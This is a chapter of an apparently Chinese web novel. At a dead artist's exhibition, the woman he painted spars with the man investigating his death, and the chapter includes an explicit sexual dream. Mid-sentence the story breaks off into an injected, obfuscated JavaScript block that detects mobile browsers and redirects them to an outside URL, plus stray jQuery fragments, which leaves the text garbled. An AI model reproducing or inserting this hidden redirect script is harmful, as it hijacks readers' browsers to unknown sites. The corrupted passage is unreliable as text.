018
画展开场的时间在上午九点,邬知子迟到了。
尽管她没有盛装打扮,却仍是这场展会里最瞩目的女主角。
依照遗愿清单,本次画展的盈利将会一分不落地打进她账户里,更不要提这场画展的噱头是「遗世情书」。
比起年轻艺术家的离奇死亡,人们更关心那幅他生前就精心布置在中央展厅的、堪比蒙娜丽莎的画作。
那是一幅用鲜艳色彩勾勒出的窈窕身影,用色十分张扬大胆,让整幅画作看起来朦胧迷幻。
唯一的遗憾,你无法看清她的脸。
或许就因如此才多添一层神秘色彩,每个停步于此的人都忍不住去猜。
猜这位画中的女郎是谁,他们是什么关系,又是在什么样的场景里完成了这幅画呢?
也许其中不乏阴暗的窥探、低俗的揣摩、下流的幻想,但这些都无疑证明它是一幅成功的画作,无声吸引,令你着魔,三两笔勾出人性的底层欲望。
至于高不高雅,总之不会在穿戴整齐时讲。
邬知子就把这一点参悟得很好,面对记者闪个不停的相机,抬手压下帽檐的黑纱,留一句:“无可奉告。”
这时候已经没人会把她和起床时那个砸烂手边一切的疯子联想在一起,她自己也不这样觉得。
尽管她的腿还酸软,唇也干涩,掩进黑裙的胸口依稀泛着红印。
换做平时,邬知子当然不屑这种伪装,她根本不会关心看到的人怎么想。
可她今天需要扮演神秘的缪斯,缪斯不会在昨晚发生艳靡的情事,最最好没有个人意志。
“请问您对他的死讯怎么想?”
“真可惜。”
可惜他的死亡只验证了虚无一场,无趣又无聊。
以至于邬知子不得不找点新的乐子,比如怎样才能杀死宗无第二次。
她是那种睚眦必报的个性,代价一定要比报酬贵上百倍才行。
因此她得好好想一想,究竟还有什么可以利用到?
邬知子放眼梭巡会场,侍者递来的香槟里冒着气泡,她在接下时刚好寻到枪靶的目标。
不远处的藤诀正在拒绝另一杯香槟。
很难讲他不是特地来见她,毕竟昨晚那通电话足够香艳嘛。
只不过对邬知子来讲,情趣一旦下了床就变得枯燥。
她从来不会因为性而羞愧,反倒那通电话他接到最好,那样他们刚好可以减去衣冠的伪装,坦诚聊聊夜晚的事了。
“好看吗?”
邬知子走近后放下香槟杯,对他扬起一个笑。
大概因为金色的气泡炸散开来了,藤诀一时有点分不清指的是画还是她。
“这里会有死亡预告?”
她的进攻性还是一如既往。
艳丽,张扬,像一把利器,无声割破人类面具。
太令人疯狂,也令藤诀莫名心虚,“你想有?”
邬知子侧目睨去:“我想不想很重要?”
当然重要了,起码当下的他是这样想。
至少要参考昨晚那个瑰丽的梦境。
梦里她的主动一如既往,很符合她的性情,一双眼永远从高处垂下,宛若神降。
而接下来的发生满足他的幻想。
她叠腿靠在丝绒椅上,仿佛一只猫翘起尾巴,光脚踩上他。
当然赤-裸也当然无暇,最要命是他根本无法拒绝她。
双手被绑在身后了,膝盖也着地跪下,听她开口数起他的罪条。
那时候藤诀觉得自己也长出了一条尾巴,张开嘴却只能对她喊“汪”,迫切祈求她能给予解脱一场。
于是仰头含上她,使尽解数让干涸畅流。
能要他俯首称臣的人可不算太多,昨晚梦里的她算唯一一个。
正因如此才特别深刻,尤其醒来以后。
还有能比整理完梦遗后必须去见春梦女主更糟糕的事么?藤诀换好制服领带后由衷对着镜子骂了一声“Fuck”。
他人生里头一次体会‘不得不’,在此之前没有任何能将他约束。
甚至到场后仍不觉寻找她的身影,盯着信箱几小时理所应当没痕迹,直至她出现才安心。
以及在邬知子走来前,已把她的号码倒背上百遍。
理智告诉藤诀这样的行径与先前那几个可笑的死者没有任何区别,感性却持相反态度。
他近乎失智地想与她进行除梦境以外的其他场景。
也不一定要一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699870|189144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张丝绒椅,可以的话最好是一张床,或者任何看似隐蔽的地方。
他简直快他妈快疯了,如此近的距离仿佛她一个回眸都浸着春药,更别提她当下还正在与他讲话:“怎么了?”
那笑容像在挑衅他,嘲讽他,质问他:怎么了?之前不是很讨厌我吗?
难道你问心有愧吗?
藤诀再次拿起那杯香槟,态度比从前还要差,几乎无视她。
邬知子却笑得甜腻,等他喉结滚顿着咽下才悠悠提醒:“你拿错了。”
他的唇纹刚好吻合她刚才留在杯壁的唇印,鼻间也不停涌进属于她的香气。
似乎预料到他下一秒的呛咳,邬知子主动递去纸巾,“我真心有话想对您说。”
藤诀没再拒绝那双沁着香槟气泡的眼睛,就像他昨晚也没拒绝她的决定。
她那么懂得如何示弱,也过分明白人们想听什么:“我发誓,他的死跟我一点关系都没有,虽然他画的的确是我。”
“不过我该怎么拒绝呢?对于这位年轻艺术家的请求,我只是想对他伸出援手。”
“我当然对他万分肯定,那份虔诚堪比圣经。我告诉他当然理解他明白他的画,告诉他时间会证明......但我想他完全误会了。”
——“是他误会了艺术家的功成总在身后,那么他的死亡怎么能怪罪于我?”
最后一句邬知子并没有讲,但藤诀却切实听到。
可时间偏偏在当下,他根本无法确定是否因为他心有鬼才急于给她扣上罪名。
人类总是这样子的,为了达成罪感的解脱甚至可以给对方判处死刑。
他还需要更多借口。
“你今天到这来不就是为了审查清楚这件事么?如果我有说谎,为什么你没能从现场找到更多佐证?”
“如果真凶是我,为什么他从未在画作里表达恨意?”
“我到场并不比你早许多,可有时间销毁么?”
藤诀是有些想反驳,不过倒也不一定是真心的反驳。
他确实希望此时此刻能为立场或死者说些什么,可他最后什么也没有说。
有时候,也不一定是给面前的人判处死刑。
尤其当她说:“他疯了,他爱我。”